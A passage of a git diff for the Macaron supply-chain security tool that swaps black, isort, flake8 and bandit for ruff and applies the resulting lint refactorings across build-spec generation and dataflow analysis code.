diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5f624c4d3..aca831163 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -23,52 +23,14 @@ repos: name: Check conventional commit message stages: [commit-msg] -# Sort imports. -- repo: https://github.com/pycqa/isort - rev: 8.0.1 +# Ruff formats and lints code. +- repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.15.20 hooks: - - id: isort - name: Sort import statements - args: [--settings-path, pyproject.toml] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - -# Add Black code formatters. -- repo: https://github.com/ambv/black - rev: 26.3.1 - hooks: - - id: black - name: Format code - args: [--config, pyproject.toml, --target-version, py311] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* -- repo: https://github.com/asottile/blacken-docs - rev: 1.20.0 - hooks: - - id: blacken-docs - name: Format code in docstrings - args: [--line-length, '120'] - additional_dependencies: [black==26.3.1] - -# Upgrade and rewrite Python idioms. -- repo: https://github.com/asottile/pyupgrade - rev: v3.21.2 - hooks: - - id: pyupgrade - name: Upgrade code idioms - files: ^src/macaron/|^tests/ - args: [--py311-plus] - -# Similar to pylint, with a few more/different checks. For more available -# extensions: https://github.com/DmytroLitvinov/awesome-flake8-extensions -- repo: https://github.com/pycqa/flake8 - rev: 7.3.0 - hooks: - - id: flake8 - name: Check flake8 issues - files: ^src/macaron/|^tests/ - types: [text, python] - additional_dependencies: [flake8-bugbear==25.11.29, flake8-builtins==3.1.0, flake8-comprehensions==3.17.0, flake8-docstrings==1.7.0, flake8-logging==1.8.0, flake8-mutable==1.2.0, flake8-noqa==1.5.0, flake8-print==5.0.0, flake8-pytest-style==2.2.0, flake8-rst-docstrings==0.4.0, pep8-naming==0.15.1] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - args: [--config, .flake8] + - id: ruff-format + args: [--config, pyproject.toml] + - id: ruff-check + args: [--config, pyproject.toml, --fix, --unsafe-fixes, --exit-non-zero-on-fix] # Check GitHub Actions workflow files. - repo: https://github.com/Mateusz-Grzelinski/actionlint-py @@ -108,18 +70,6 @@ repos: exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* args: [--show-traceback, --config-file, pyproject.toml] -# Check for potential security issues. -- repo: https://github.com/PyCQA/bandit - rev: 1.9.4 - hooks: - - id: bandit - name: Check for security issues - args: [--configfile, pyproject.toml] - files: ^src/macaron/|^tests/ - types: [text, python] - additional_dependencies: ['bandit[toml]'] - exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.* - # Enable a whole bunch of useful helper hooks, too. # See https://pre-commit.com/hooks.html for more hooks. - repo: https://github.com/pre-commit/pre-commit-hooks diff --git a/Makefile b/Makefile index 81d7fbe3c..647e0f1ff 100644 --- a/Makefile +++ b/Makefile @@ -313,12 +313,10 @@ audit: python -m pip_audit --skip-editable --desc on --fix --dry-run --ignore-vuln GHSA-vfmq-68hx-4jfw # Run some or all checks over the package code base. -.PHONY: check check-code check-bandit check-flake8 check-lint check-mypy check-go check-actionlint -check-code: check-bandit check-flake8 check-lint check-mypy check-go check-actionlint -check-bandit: - pre-commit run bandit --all-files -check-flake8: - pre-commit run flake8 --all-files +.PHONY: check check-code check-ruff check-lint check-mypy check-go check-actionlint +check-code: check-ruff check-lint check-mypy check-go check-actionlint +check-ruff: + pre-commit run ruff-check --all-files check-lint: pre-commit run pylint --all-files check-mypy: diff --git a/pyproject.toml b/pyproject.toml index 513237f96..1e65ca7a6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -122,20 +122,6 @@ Documentation = "https://oracle.github.io/macaron/index.html" Issues = "https://github.com/oracle/macaron/issues" -# https://bandit.readthedocs.io/en/latest/config.html -# Skip test B101 because of issue https://github.com/PyCQA/bandit/issues/457 -[tool.bandit] -tests = [] -skips = ["B101"] -exclude_dirs = ["tests/malware_analyzer/pypi/resources/sourcecode_samples"] - - -# https://github.com/psf/black#configuration -[tool.black] -line-length = 120 -force-exclude = ["tests/malware_analyzer/pypi/resources/sourcecode_samples/"] - - # https://github.com/commitizen-tools/commitizen # https://commitizen-tools.github.io/commitizen/bump/ [tool.commitizen] @@ -181,15 +167,6 @@ exclude = [ ] -# https://pycqa.github.io/isort/ -[tool.isort] -profile = "black" -multi_line_output = 3 -line_length = 120 -skip_gitignore = true -filter_files = true - - # https://mypy.readthedocs.io/en/stable/config_file.html#using-a-pyproject-toml [tool.mypy] show_error_codes = true @@ -304,3 +281,75 @@ filterwarnings = [ "ignore::DeprecationWarning:cyclonedx.model.tool", "error::DeprecationWarning:pkg_resources", ] + + +# https://docs.astral.sh/ruff/formatter/ +# https://docs.astral.sh/ruff/linter/ +[tool.ruff] +line-length = 120 + +[tool.ruff.format] +exclude = [ + "tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*.py", +] +docstring-code-format = true +docstring-code-line-length = 88 + +# https://docs.astral.sh/ruff/configuration/ +# https://docs.astral.sh/ruff/rules/ +[tool.ruff.lint] +exclude = ["docs/*"] +select = [ + "A", # flake8-builtins + "B", # flake8-bugbear + "C4", # flake8-comprehensions + "D", # pydocstyle + "DOC", # pydoclint + "E", # pycodestyle + "F", # pyflakes + "FURB", # refurb + "I", # isort + "ICN", # flake8-import-conventions + "LOG", # flake8-logging + "N", # pep8-naming + "PIE", # flake8-pie + "PT", # flake8-pytest-style + "PYI", # flake8-pyi + "RUF", # ruff-specific rules + "S", # flake8-bandit + "SIM", # flake8-simplify + "SLOT", # flake8-slots + "T20", # flake8-print + "UP", # pyupgrade +] +ignore = [ + "D104", # D104: Missing docstring in public package + "D105", # D105: Missing docstring in magic method + "D404", # D404: First word of the docstring should not be "This" + "E203", # E203: whitespace before ‘,’, ‘;’, or ‘:’ (not Black compliant) + "E501", # E501: line too long (managed better by Bugbear's B950) + "SIM102", # Use a single `if` statement instead of nested `if` statements +] + +[tool.ruff.lint.flake8-pytest-style] +fixture-parentheses = true + +[tool.ruff.lint.pydocstyle] +convention = "numpy" + +[tool.ruff.lint.per-file-ignores] +"tests/*" = [ + "D102", # D102: Missing docstring in public method + "D104", # D104: Missing docstring in public package + "S101", # S101 Use of `assert` detected + "T201", # T201 `print` found +] +"tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*" = [ + "A", # flake8-builtins + "D", # pydocstyle + "E", # pycodestyle + "F", # pyflakes + "N", # pep8-naming + "S", # flake8-bandit + "SIM", # flake8-simplify +] diff --git a/scripts/actions/write_job_summary.py b/scripts/actions/write_job_summary.py index 608786fd9..db86ad1fe 100644 --- a/scripts/actions/write_job_summary.py +++ b/scripts/actions/write_job_summary.py @@ -90,7 +90,7 @@ def _write_header( vsa_path = _env("VSA_PATH", f"{output_dir}/vsa.intoto.jsonl") policy_succeeded = bool(vsa_path) and Path(vsa_path).is_file() - _append_line(summary_path, "

Macaron Analysis Results

") + _append_line(summary_path, '

Macaron Analysis Results

') _append_line(summary_path) if upload_reports: _append_line(summary_path, "Download reports from this artifact link:") @@ -157,7 +157,7 @@ def _query_selected_columns( if not selected: return [], [] - sql = f"SELECT {', '.join(selected)} FROM {table_name}" + sql = f"SELECT {', '.join(selected)} FROM {table_name}" # noqa: S608 if where_clause: sql = f"{sql} WHERE {where_clause}" sql = f"{sql} ORDER BY 1" @@ -373,13 +373,13 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r _append_line(summary_path) _append_line( summary_path, - "

Full Findings and Remediation Details

", + '

Full Findings and Remediation Details

', ) _append_line(summary_path) _append_line(summary_path, "
") _append_line(summary_path, "Show full findings") _append_line(summary_path) - detail_groups = groups_in_rows if groups_in_rows else ["all_findings"] + detail_groups = groups_in_rows or ["all_findings"] row_counter = 1 for group in detail_groups: if group_idx is None: @@ -397,10 +397,7 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r priority = row[col_index["finding_priority"]] finding_type = str(row[col_index["finding_type"]]) workflow = str(row[col_index["vulnerable_workflow"]]) - if group == "workflow_security_issue": - subject = workflow - else: - subject = f"{action}@{version}" if version else action + subject = workflow if group == "workflow_security_issue" else f"{action}@{version}" if version else action _append_line(summary_path, f"{row_counter}. **`{subject}`** (`{finding_type}`, priority `{priority}`)") _append_line(summary_path, f"- Workflow: `{workflow}`") @@ -498,7 +495,7 @@ def _write_existing_policy_failure_diagnostics( cols, rows = _query_sql(conn, sql_query) if cols and rows: _append_line(summary_path) - _append_line(summary_path, f"#### Results") + _append_line(summary_path, "#### Results") if policy_name == "check-github-actions": rendered = write_compact_gha_vuln_diagnostics(summary_path, cols, rows) else: @@ -510,7 +507,7 @@ def _write_existing_policy_failure_diagnostics( _append_line(summary_path, "- Additional check-level details are unavailable for this failure.") -def main() -> None: +def _main() -> None: output_dir = Path(_env("OUTPUT_DIR", "output")) db_path = Path(_env("DB_PATH", os.path.join(str(output_dir), "macaron.db"))) policy_report = _env("POLICY_REPORT", os.path.join(str(output_dir), "policy_report.json")) @@ -547,4 +544,4 @@ def main() -> None: if __name__ == "__main__": - main() + _main() diff --git a/src/macaron/build_spec_generator/build_spec_generator.py b/src/macaron/build_spec_generator/build_spec_generator.py index e66be4ac2..e2b431f5b 100644 --- a/src/macaron/build_spec_generator/build_spec_generator.py +++ b/src/macaron/build_spec_generator/build_spec_generator.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the functions used for generating build specs from the Macaron database.""" @@ -6,7 +6,7 @@ import json import logging import os -from enum import Enum +from enum import StrEnum from packageurl import PackageURL from sqlalchemy import create_engine @@ -23,7 +23,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class BuildSpecFormat(str, Enum): +class BuildSpecFormat(StrEnum): """The build spec formats that we support.""" REPRODUCIBLE_CENTRAL = "rc-buildspec" diff --git a/src/macaron/build_spec_generator/cli_command_parser/__init__.py b/src/macaron/build_spec_generator/cli_command_parser/__init__.py index 7ce7d8127..03fc36507 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/__init__.py +++ b/src/macaron/build_spec_generator/cli_command_parser/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contain the base classes cli command parsers related.""" @@ -7,7 +7,7 @@ from abc import abstractmethod from collections.abc import Mapping from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from typing import Any, Generic, Protocol, TypeGuard, TypeVar @@ -93,7 +93,7 @@ def get_patch_type_str(self) -> str: raise NotImplementedError() -class PatchCommandBuildTool(str, Enum): +class PatchCommandBuildTool(StrEnum): """Build tool supported for CLICommand patching.""" MAVEN = "maven" diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py index 342811909..78844e77f 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py +++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the classes that represent components of a Gradle CLI Command.""" @@ -382,4 +382,4 @@ class GradleCLICommand: def to_cmds(self) -> list[str]: """Return the CLI Command as a list of strings.""" - return [self.executable] + self.options.to_option_cmds() + return [self.executable, *self.options.to_option_cmds()] diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py index e2b646c91..025e258c5 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py +++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Gradle CLI Command parser.""" @@ -58,7 +58,7 @@ def add_to_arg_parser(self, arg_parse: argparse.ArgumentParser) -> None: if self.short_names: arg_parse.add_argument( - *(self.short_names + [self.long_name]), + *([*self.short_names, self.long_name]), **kwargs, ) else: @@ -445,7 +445,7 @@ def get_patch_type_str(self) -> str: class GradleCLICommandParser: """A Gradle CLI Command Parser.""" - ACCEPTABLE_EXECUTABLE = {"gradle", "gradlew"} + ACCEPTABLE_EXECUTABLE = frozenset(("gradle", "gradlew")) def __init__(self) -> None: """Initialize the instance.""" diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py index c6eaed108..261d09793 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py +++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the classes that represent components of a Maven CLI Command.""" @@ -318,4 +318,4 @@ class MavenCLICommand: def to_cmds(self) -> list[str]: """Return the CLI Command as a list of strings.""" - return [self.executable] + self.options.to_option_cmds() + return [self.executable, *self.options.to_option_cmds()] diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py index 62cb66d4f..cb7f91cfd 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py +++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Maven CLI Command parser.""" @@ -347,7 +347,7 @@ def get_patch_type_str(self) -> str: class MavenCLICommandParser: """A Maven CLI Command Parser.""" - ACCEPTABLE_EXECUTABLE = {"mvn", "mvnw"} + ACCEPTABLE_EXECUTABLE = frozenset(("mvn", "mvnw")) def __init__(self) -> None: """Initialize the instance.""" diff --git a/src/macaron/build_spec_generator/common_spec/core.py b/src/macaron/build_spec_generator/common_spec/core.py index b5650c008..00d75ff95 100644 --- a/src/macaron/build_spec_generator/common_spec/core.py +++ b/src/macaron/build_spec_generator/common_spec/core.py @@ -7,7 +7,7 @@ import pprint import shlex from collections.abc import Sequence -from enum import Enum +from enum import Enum, StrEnum from importlib import metadata as importlib_metadata import sqlalchemy.orm @@ -47,7 +47,7 @@ class LANGUAGES(Enum): PYPI = "python" -class MacaronBuildToolName(str, Enum): +class MacaronBuildToolName(StrEnum): """Represent the name of a build tool that Macaron stores in the database. This doesn't cover all build tools that Macaron supports, and ONLY includes the ones that we diff --git a/src/macaron/build_spec_generator/common_spec/jdk_finder.py b/src/macaron/build_spec_generator/common_spec/jdk_finder.py index 45d5b71dd..a988aa8a6 100644 --- a/src/macaron/build_spec_generator/common_spec/jdk_finder.py +++ b/src/macaron/build_spec_generator/common_spec/jdk_finder.py @@ -8,7 +8,7 @@ import tempfile import urllib.parse import zipfile -from enum import Enum +from enum import Enum, StrEnum import requests @@ -19,7 +19,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class JavaArtifactExt(str, Enum): +class JavaArtifactExt(StrEnum): """The extensions for Java artifacts.""" JAR = ".jar" @@ -57,8 +57,7 @@ def download_file(url: str, dest: str) -> None: with open(dest, "wb") as fd: try: - for chunk in response.iter_content(chunk_size=128, decode_unicode=False): - fd.write(chunk) + fd.writelines(response.iter_content(chunk_size=128, decode_unicode=False)) except requests.RequestException as error: response.close() raise InvalidHTTPResponseError(f"Error while streaming java artifact file from {url}") from error @@ -87,10 +86,14 @@ def join_remote_maven_repo_url( Examples -------- >>> remote_maven_repo = "https://repo1.maven.org/maven2" - >>> artifact_path = "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar" + >>> artifact_path = ( + ... "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar" + ... ) >>> join_remote_maven_repo_url(remote_maven_repo, artifact_path) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar' - >>> join_remote_maven_repo_url(remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/") + >>> join_remote_maven_repo_url( + ... remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/" + ... ) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/' >>> join_remote_maven_repo_url(f"{remote_maven_repo}/", artifact_path) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar' diff --git a/src/macaron/build_spec_generator/common_spec/maven_spec.py b/src/macaron/build_spec_generator/common_spec/maven_spec.py index 395de61e8..7f20ce741 100644 --- a/src/macaron/build_spec_generator/common_spec/maven_spec.py +++ b/src/macaron/build_spec_generator/common_spec/maven_spec.py @@ -42,10 +42,10 @@ def set_default_build_commands( """ match build_cmd_spec["build_tool"]: case "maven": - build_cmd_spec["command"] = "mvn clean package".split() + build_cmd_spec["command"] = ["mvn", "clean", "package"] case "gradle": - build_cmd_spec["command"] = "./gradlew clean assemble publishToMavenLocal".split() + build_cmd_spec["command"] = ["./gradlew", "clean", "assemble", "publishToMavenLocal"] case _: logger.debug( "There is no default build command available for the build tools %s.", diff --git a/src/macaron/build_spec_generator/common_spec/pypi_spec.py b/src/macaron/build_spec_generator/common_spec/pypi_spec.py index 6b46a237e..d4d5c6c8c 100644 --- a/src/macaron/build_spec_generator/common_spec/pypi_spec.py +++ b/src/macaron/build_spec_generator/common_spec/pypi_spec.py @@ -53,18 +53,18 @@ def set_default_build_commands( """ match build_cmd_spec["build_tool"]: case "pip": - build_cmd_spec["command"] = "python -m build --wheel -n".split() + build_cmd_spec["command"] = ["python", "-m", "build", "--wheel", "-n"] case "poetry": - build_cmd_spec["command"] = "poetry build".split() + build_cmd_spec["command"] = ["poetry", "build"] case "uv": - build_cmd_spec["command"] = "uv build".split() + build_cmd_spec["command"] = ["uv", "build"] case "flit": # We might also want to deal with existence flit.ini, we can do so via # "python -m flit.tomlify" - build_cmd_spec["command"] = "flit build".split() + build_cmd_spec["command"] = ["flit", "build"] case "hatch": - build_cmd_spec["command"] = "hatch build".split() + build_cmd_spec["command"] = ["hatch", "build"] case _: logger.debug( "There is no default build command available for the build tools %s.", @@ -106,7 +106,6 @@ def resolve_fields(self, purl: PackageURL) -> None: if pypi_package_json is not None: if pypi_package_json.package_json or pypi_package_json.download(dest=""): - # Get the Python constraints from the PyPI JSON response. json_releases = pypi_package_json.get_releases() if json_releases: diff --git a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py index f2cfd21db..64c9314f7 100644 --- a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py +++ b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py @@ -124,9 +124,9 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: EOF # Run the build - RUN source /deps/bin/activate && /deps/bin/pip install wheel && {modern_build_command - if version in SpecifierSet(">=3.6") - else legacy_build_command} + RUN source /deps/bin/activate && /deps/bin/pip install wheel && { + modern_build_command if version in SpecifierSet(">=3.6") else legacy_build_command + } # Validate script RUN cat <<'EOF' >/validate diff --git a/src/macaron/build_spec_generator/macaron_db_extractor.py b/src/macaron/build_spec_generator/macaron_db_extractor.py index 660dfe208..19e47ee81 100644 --- a/src/macaron/build_spec_generator/macaron_db_extractor.py +++ b/src/macaron/build_spec_generator/macaron_db_extractor.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the logic to extract build relation information for a PURL from the Macaron database.""" @@ -137,7 +137,7 @@ def compile_sqlite_select_statement(select_statement: Select) -> str: dialect=sqlite.dialect(), compile_kwargs={"literal_binds": True}, ) - return f"\n----- Begin SQLite query \n{str(compiled_sqlite)}\n----- End SQLite query\n" + return f"\n----- Begin SQLite query \n{compiled_sqlite!s}\n----- End SQLite query\n" def get_sql_stmt_latest_component_for_purl(purl: PackageURL) -> Select[tuple[Component]]: diff --git a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py index 0b6d8f787..3b963c436 100644 --- a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py +++ b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py @@ -4,7 +4,7 @@ """This module contains the logic to generate a build spec in the Reproducible Central format.""" import logging -from enum import Enum +from enum import StrEnum import importlib_metadata @@ -46,7 +46,7 @@ """ -class ReproducibleCentralBuildTool(str, Enum): +class ReproducibleCentralBuildTool(StrEnum): """Represent the name of the build tool used in the Reproducible Central's Buildspec. https://github.com/jvm-repo-rebuild/reproducible-central/blob/master/doc/BUILDSPEC.md @@ -90,7 +90,7 @@ def gen_reproducible_central_build_spec(build_spec: BaseBuildSpecDict) -> str | for build_command in build_spec["build_commands"]: command = build_command["command"] if command and ReproducibleCentralBuildTool.MAVEN.name.lower() == build_command["build_tool"]: - adapted_build_commands.append(command[:1] + ["-Dmaven.test.skip=true"] + command[1:]) + adapted_build_commands.append([*command[:1], "-Dmaven.test.skip=true", *command[1:]]) else: adapted_build_commands.append(command) diff --git a/src/macaron/code_analyzer/dataflow_analysis/bash.py b/src/macaron/code_analyzer/dataflow_analysis/bash.py index 7c6f87fac..04b17da18 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/bash.py +++ b/src/macaron/code_analyzer/dataflow_analysis/bash.py @@ -623,17 +623,20 @@ def get_stdout_redirects(stmt: bashparser_model.Stmt, context: BashScriptContext """Extract the stdout redirects specified on the statement as a set of location expressions.""" redirs: set[facts.Location] = set() for redir in stmt.get("Redirs", []): - if redir["Op"] in { - bashparser_model.RedirOperators.RdrOut.value, - bashparser_model.RedirOperators.RdrAll.value, - bashparser_model.RedirOperators.AppAll.value, - bashparser_model.RedirOperators.AppOut.value, - }: - if "Word" in redir: - redir_word = redir["Word"] - redir_val = convert_shell_word_to_value(redir_word, context) - if redir_val is not None: - redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0]))) + if ( + redir["Op"] + in { + bashparser_model.RedirOperators.RdrOut.value, + bashparser_model.RedirOperators.RdrAll.value, + bashparser_model.RedirOperators.AppAll.value, + bashparser_model.RedirOperators.AppOut.value, + } + and "Word" in redir + ): + redir_word = redir["Word"] + redir_val = convert_shell_word_to_value(redir_word, context) + if redir_val is not None: + redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0]))) return redirs @@ -1875,15 +1878,13 @@ def is_simple_var_read(param_exp: bashparser_model.ParamExp) -> bool: """Return whether expression is a simple env var read e.g. $ENV_VAR.""" if param_exp.get("Excl", False) or param_exp.get("Length", False) or param_exp.get("Width", False): return False - if ( + return not ( "Index" in param_exp or "Slice" in param_exp or "Repl" in param_exp or "Names" in param_exp or "Exp" in param_exp - ): - return False - return True + ) def parse_env_var_read_word_part(part: bashparser_model.WordPart, allow_dbl_quoted: bool) -> str | None: diff --git a/src/macaron/code_analyzer/dataflow_analysis/core.py b/src/macaron/code_analyzer/dataflow_analysis/core.py index 5a33ef56a..2fd1db26e 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/core.py +++ b/src/macaron/code_analyzer/dataflow_analysis/core.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Core dataflow analysis framework definitions and algorithm.""" @@ -680,7 +680,7 @@ def identify_interpretations(self, state: State) -> dict[InterpretationKey, Call def get_alt(index: int) -> Node: return self.alts[index] - return {i: functools.partial(get_alt, i) for i in range(0, len(self.alts))} + return {i: functools.partial(get_alt, i) for i in range(len(self.alts))} def get_owned_scopes(context: ContextRef[Context]) -> set[facts.Scope]: diff --git a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py index 69d5a022c..1ac62bd5e 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py +++ b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Functions for evaluating and resolving dataflow analysis expressions.""" @@ -382,9 +382,8 @@ def with_bindings(self, bindings: ReadBindings) -> ReadBindings | None: return bindings for read, val in bindings.bindings.items(): - if read in self.bindings: - if self.bindings[read] != val: - return None + if read in self.bindings and self.bindings[read] != val: + return None combined_bindings = frozendict({**self.bindings, **bindings.bindings}) return ReadBindings(combined_bindings) @@ -766,7 +765,9 @@ def parse_str_expr_split(str_expr: facts.Value, delimiter_char: str, maxsplit: i ) if len(split_lhs) == 1 and len(split_rhs) == 1: return [str_expr] - return ( - split_lhs[:-1] + [facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0])] + split_rhs[1:] - ) + return [ + *split_lhs[:-1], + facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0]), + *split_rhs[1:], + ] return [str_expr] diff --git a/src/macaron/code_analyzer/dataflow_analysis/github.py b/src/macaron/code_analyzer/dataflow_analysis/github.py index 7ad01ab20..434fb9466 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/github.py +++ b/src/macaron/code_analyzer/dataflow_analysis/github.py @@ -549,7 +549,7 @@ def __init__( self.context = context self._cfg = core.ControlFlowGraph.create_from_sequence( - list(filter(core.node_is_not_none, [self.matrix_block, self.env_block] + self.steps + [self.output_block])) + list(filter(core.node_is_not_none, [self.matrix_block, self.env_block, *self.steps, self.output_block])) ) def children(self) -> Iterator[core.Node]: diff --git a/src/macaron/code_analyzer/dataflow_analysis/printing.py b/src/macaron/code_analyzer/dataflow_analysis/printing.py index 0ffd61813..8b7400cff 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/printing.py +++ b/src/macaron/code_analyzer/dataflow_analysis/printing.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Functions for printing/displaying dataflow analysis nodes in the form of graphviz (dot) output. @@ -389,8 +389,10 @@ def print_interpretation_node_as_dot_string( ) + "\n" ) - for child_node in node.interpretations.values(): - out.write("n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n') + out.writelines( + "n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n' + for child_node in node.interpretations.values() + ) for child_node in node.interpretations.values(): print_as_dot_string(child_node, out, include_properties=include_properties, include_states=include_states) diff --git a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py index 80364ea76..99ed534a4 100644 --- a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py +++ b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py @@ -412,9 +412,7 @@ def _arg_has_attacker_controlled_github_ref(parts: object) -> bool: ".event.comment.body", }: pr_head_ref = True - if expansion and pr_head_ref: - return True - return False + return bool(expansion and pr_head_ref) def _has_attacker_controlled_expanded_ref(refs: list[str]) -> bool: diff --git a/src/macaron/console.py b/src/macaron/console.py index 10a624dd4..6514df205 100644 --- a/src/macaron/console.py +++ b/src/macaron/console.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements a rich console handler for logging.""" @@ -215,36 +215,19 @@ def make_layout(self) -> list[RenderableType]: """ layout: list[RenderableType] = [] if self.description_table.row_count > 0: - layout = layout + [ - "", - self.description_table, - ] + layout = [*layout, "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if 